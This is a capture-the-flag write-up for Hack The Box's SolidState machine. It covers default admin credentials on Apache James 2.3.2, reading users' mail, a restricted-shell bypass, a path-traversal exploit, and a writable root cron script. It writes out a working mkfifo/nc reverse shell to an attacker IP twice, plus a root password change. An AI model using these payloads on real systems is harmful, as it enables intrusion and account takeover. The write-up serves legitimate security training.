Hack The Box Write-up - SolidState

12 minute read Published:

Write-up for the machine SolidState from Hack The Box. Requires thorough port scanning to find an esoteric telnet admin interface of the Apache James email server. With default root credentials, you become James admin and break into people's email inboxes. Inside, you find SSH credentials, bypass a restricted shell and finally find an insecure cron job to escalate to root.
Table of Contents

This is my second write-up for a machine from Hack The Box. It is again a rather easy one but still lots of fun. Lots of opportunities to do some oldschool telnet work on email servers. It starts with port scanning and illustrates the importance of scanning also more unpopular ports. After finding the email server with default credentials, you must use your administrator power to get code execution. Once on the box, all you have to do is finding an insecure cron job and you are root.

Again, some statistics for this machine first. As it is an easy box, many people got the user flag and a considerable part managed the privesc too.

Statistics for SolidState - user and system owns

Enumeration

Port scan

Given the IP, we start with a basic nmap scan:

root@kali ~ $ nmap -sV -sC -oN base.log 10.10.10.51

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-23 15:45 EST
Nmap scan report for 10.10.10.51
Host is up (0.050s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (EdDSA)
25/tcp  open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.15.130 [10.10.15.130]),
80/tcp  open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp open  pop3    JAMES pop3d 2.3.2
119/tcp open  nntp    JAMES nntpd (posting ok)
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We basically find a website, an SSH server and Apache James, which is an email solution. While the current version of James is 3.0 and it is under active development, this box runs 2.3.2 which is very old. If you would read the docs, you would discover that is offers an admin interface called RemoteManager. By default, it runs on port 4555, which does not show up in the list above. A full port scan though reveals this port too:

root@kali ~ $ nmap -p- -oN full.log 10.10.10.51

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-23 15:46 EST
Nmap scan report for 10.10.10.51
Host is up (0.058s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip

Nmap done: 1 IP address (1 host up) scanned in 27.61 seconds

Lesson learned: don’t just stick with Nmap’s default ports every time. A full scan may show important services.

Website

I typically check out websites first to see what’s there. This one is quite useless though. It is merely a static page with a single contact form.

Contact form on SolidState website.

You could run sqlmap on it but would not find anything. Let’s focus instead to the email server.

James email server

As an email server, James opens up ports 25 and 110 for sending and receving emails. There is one odd port 119 offereing something called nntpd. Asking Google about it, you get to a wiki page about the Network News Transfer Protocol. It is a protocol for Usenet news articles. Finally, we have the telet admin interface on port 4555.

From the Nmap scan above, we know SolidState run’s an outdated version of it (2.3.2). Checking out exploitdb, we find an exploit for exaclty that version It sounds interesting since it prommises code execution. You can check out the details of the exploit here.

root@kali ~ $ searchsploit james
------------------------------------------------------------------------ ----------------------------------
 Exploit Title                                                          |  Path
                                                                        | (/usr/share/exploitdb/)
------------------------------------------------------------------------ ----------------------------------
Apache James 2.2 - SMTP Denial of Service                               | exploits/multiple/dos/27915.pl
Apache James Server 2.3.2 - Remote Command Execution                    | exploits/linux/remote/35513.py
WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow     | exploits/windows/remote/944.c
------------------------------------------------------------------------ ----------------------------------

The exploit starts with connecting to 4555 using root / root as the credentials. These seem to be the default user. Cross-checking this article about installing James, we find the same credentials too. Funny side note: the blog is from Nov 2016. There actually are people who still install this piece of software in the real world.

Let’s log in:

root@kali ~ $ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
help
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

Looks like we could do some serious administration here.

Exploiting

Now, we could go directly for the exploit mentioned above. But reading it carefully, you will see it needs someone to login to the system. Unless the box runs some scripts logging in as a user every few minutes, the exploit won’t help us. Let’s try something simpler for now and just read the emails of different users.

James - reading emails

To read the mail, reset all the passwords via the setpassword [username] [password] command in the admin tool. For example, we can do setpassword john newpasswd, which James confirms with Password for john reset. Then, we connect to port 110 (POP3), log into each user, and fetch the mails. For example, this is how to do it for john. Be sure to use telnet, not nc, which did not retrieve anything after the welcome banner in my case. For a reference of POP3 protocol commands, chech this out.

root@kali ~ $ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER john
+OK
PASS newpassword
+OK Welcome john
LIST
+OK 1 743
1 743
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: john@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <john@localhost>;
          Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access
John,

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

Thank you in advance.

Respectfully,
James

.
QUIT
+OK Apache James POP3 Server signing off.
Connection closed by foreign host.

Aha, so this is the mailadmin writing john a message to send a password to Mindy. If you check out Mindy’s mails, you find it:

From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

The mail above is actually from mailadmin, not from john. I suspect that was a little mistake. Anyways, try to SSH into SolidState with mindy / P@55W0rd1!2@ and you get in. This is all you have to do to get the user.txt flag.

root@kali ~ $ ssh [email protected]
[email protected]'s password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$ id
-rbash: id: command not found
mindy@solidstate:~$ ls
bin  user.txt
mindy@solidstate:~$ cat user.txt
4h56... <- flag

Don’t get too excited about the shell access though since all you get is a restricted shell. Fortunately, it is easy though to circumvent it. Apparently, you can just execute commands through SSH directly and they will not go through the restricted shell. Execute bash this way and you get a real shell, albeit one without a real tty:

root@kali ~ $ ssh [email protected] bash
[email protected]'s password:
id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)

This was a little too easy. It is a lot more fun to use the James exploit to bypass the restricted shell. Let’s do that next.

Exploiting James

The exploit works by creating a user with name ../../../../../../../../etc/bash_completion.d through the James admin interface. James will then create a file for this user to store its mail. The file’s directory will be named after the user and due to improper escaping, it will be /etc/bash_completion.d. Then you can send an email to that user. It’s text is put into a file inside that directory. Consequently, the next time a user logs into the system, your email will be executed.

First, we log into the admin interface and create the user:

root@kali ~ $ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
adduser ../../../../../../../../etc/bash_completion.d password
User ../../../../../../../../etc/bash_completion.d added
quit
Bye

Next, we send an email with a reverse shell payload. Note the single quotes enclosing everything from the start of the MAIL FROM address to the beginning of the payload. They make sure the rest of the mail does not interfere with the payload. More details and examples how to use SMTP via telnet are in the Mailtrap blog or here. Be sure to use EHLO, not HELO, to say hello.

root@kali ~ $ telnet 10.10.10.51 25
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Sun, 28 Jan 2018 17:42:35 -0500 (EST)
EHLO someone@mydomain
250-solidstate Hello someone@mydomain (10.10.15.130 [10.10.15.130])
250-PIPELINING
250 ENHANCEDSTATUSCODES
MAIL FROM: <'@mydomain>
250 2.1.0 Sender <'@mydomain> OK
RCPT TO: <../../../../../../../../etc/bash_completion.d>
250 2.1.5 Recipient <../../../../../../../../etc/bash_completion.d@localhost> OK
DATA
354 Ok Send data ending with <CRLF>.<CRLF>
FROM: someone@mydomain
'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.130 1234 >/tmp/f
.
250 2.6.0 Message received
quit
221 2.0.0 solidstate Service closing transmission channel
Connection closed by foreign host.

Now run nc -lnvp 1234 locally and then ssh [email protected] to trigger the payload. You should catch the shell! On the host, you can then inspect the file James created to understand how it worked. You should also consider deleting it to cover your tracks and to not spoil the experience for others doing the box ;)

cat /etc/bash_completion.d/4D61696C313531373137393430333938342D30.Repository.FileStreamStore
Return-Path: <'@mydomain>
Message-ID: <570018.0.1517179404013.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received: from 10.10.15.130 ([10.10.15.130])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 597
          for <../../../../../../../../etc/bash_completion.d@localhost>;
          Sun, 28 Jan 2018 17:43:23 -0500 (EST)
Date: Sun, 28 Jan 2018 17:43:23 -0500 (EST)
FROM: someone@mydomain
'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.130 1234 >/tmp/f

Privesc

The privesc is a pretty easy one. Just look for files owned by root that we could write to. To reduce false positives, only look for files (not symlinks) and exclude proc, which is full of root-owned writable files.

find / -user root -perm -002 -type f -not -path "/proc/*"  2>/dev/null
/opt/tmp.py
/sys/fs/cgroup/memory/cgroup.event_control

The file /opt/tmp/py looks interesting. Have a look at it.

cat /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

A simple script that just deletes everything in the tmp directory. If it is owned by root, maybe root is calling it sometimes. Inspecting the cronjob configs in /etc, we can’t find any evidence the script runs. Nevertheless, it could also be configured in root’s private cronfile /var/spool/cron/crontabs/root. To find it out, do a simpe test by changing the command to echo "hi from root" > /dev/shm/.tmp.txt. If the .tmp.txt file appears, the script is run.

To be able to properly edit files on the host with vi, you first need a real shell though. The method is described in detail here. Here comes the short version:

  • On the remote machine, run python -c 'import pty; pty.spawn("bash")' and press CTRL-z to put the SSH session to the background.
  • Then run stty -a to print out information about your shell. Note the rows and columns (say they are 40 and 160 respectively).
  • Now run stty raw -echo to put your shell into raw mode, then fg to get back into the SSH session, and finally reset to reset the shell. It you get asked for the type of the terminal, use xterm-256color.
  • After that, run stty rows 40 columns 160 to specify the correct size. You should now have a fully working shell, in particular vi should work.

With the new command put in place of the old one, we cannot observe /dev/shm to see if the file appears in it. And indeed, after a few minutes, it will appear. As you can see, it is owned by root, meaning that root ran the script.

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls -lah /dev/shm/
total 4.0K
drwxrwxrwt  2 root root   60 Jan 27 18:54 .
drwxr-xr-x 17 root root 3.0K Jan 27 17:19 ..
-rw-r--r--  1 root root   13 Jan 27 18:54 .tmp.txt

Since it all works as expected, we can easily get the flag now. Change the script to execute to read the flag and put it into a new file.

#!/usr/bin/env python
import os
import sys
try:
     os.system('cat /root/root.txt > /dev/shm/flag.txt')
except:
     sys.exit()

To not just print the flag but get real access, you can use for example either of the following lines:

  • echo root:password | /usr/sbin/chpasswd && echo "done" > /dev/shm/done.txt: changes root password to ‘password’. You can log in afterwards with su from your current SSH session.
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.130 1234 >/tmp/f: get a new reverse shell. Catch with nc -lnvp 1234 localcally.

Once root, you can see that it is indeed root’s crontab that runs the script every three minutes:

root@solidstate:/dev/shm# cat /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
[...]
# m h  dom mon dow   command
*/3 * * * * python /opt/tmp.py

Links

Other write-ups for this box that I know of are the one by ELijah Seymour, which contains a detailed walkthrough for the James exploit. There is also one by Trevor Steen who puts the Python pty code directly into the James exploit. It is a nice idea since every SSH login should directly give you a real shell then. Finally, check out the video walkthrough from ippsec, which is very nice to pick up the basic workflows.